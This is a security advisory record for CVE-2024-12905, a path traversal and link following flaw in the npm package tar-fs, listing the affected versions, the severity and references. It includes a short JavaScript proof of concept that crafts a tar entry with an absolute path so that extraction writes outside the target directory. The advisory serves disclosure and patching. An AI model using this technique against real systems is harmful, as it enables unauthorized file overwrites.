ghsa-pq67-2wwv-3xjx
Vulnerability from github
An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.
This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.
PoC
```javascript // Create a writable stream to extract the tar content const extractStream = tarfs.extract('/', { // We can ignore the file type checks to allow the extraction of the malicious file ignore: (name) => false, });
// Create a tar stream const tarStream = tarfs.pack().on('error', (err) => { throw err; });
// Append the malicious entry to the tar stream tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));
// Finalize the tar stream tarStream.finalize();
// Pipe the tar stream into the extract stream tarStream.pipe(extractStream); ```
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar-fs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.16.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "tar-fs"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "tar-fs"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-12905"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-28T22:11:42Z",
"nvd_published_at": "2025-03-27T17:15:53Z",
"severity": "HIGH"
},
"details": "An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.\n\n### PoC\n```javascript\n// Create a writable stream to extract the tar content\nconst extractStream = tarfs.extract(\u0027/\u0027, {\n // We can ignore the file type checks to allow the extraction of the malicious file\n ignore: (name) =\u003e false,\n});\n\n// Create a tar stream\nconst tarStream = tarfs.pack().on(\u0027error\u0027, (err) =\u003e {\n throw err;\n});\n\n// Append the malicious entry to the tar stream\ntarStream.entry({ name: \u0027/flag.txt\u0027, mode: 0o644 }, Buffer.from(\u0027This is a flag!\u0027));\n\n// Finalize the tar stream\ntarStream.finalize();\n\n// Pipe the tar stream into the extract stream\ntarStream.pipe(extractStream);\n```",
"id": "GHSA-pq67-2wwv-3xjx",
"modified": "2025-09-29T16:38:27Z",
"published": "2025-03-27T18:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12905"
},
{
"type": "WEB",
"url": "https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed"
},
{
"type": "WEB",
"url": "https://arxiv.org/abs/2506.04962"
},
{
"type": "WEB",
"url": "https://arxiv.org/pdf/2506.04962"
},
{
"type": "PACKAGE",
"url": "https://github.com/mafintosh/tar-fs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.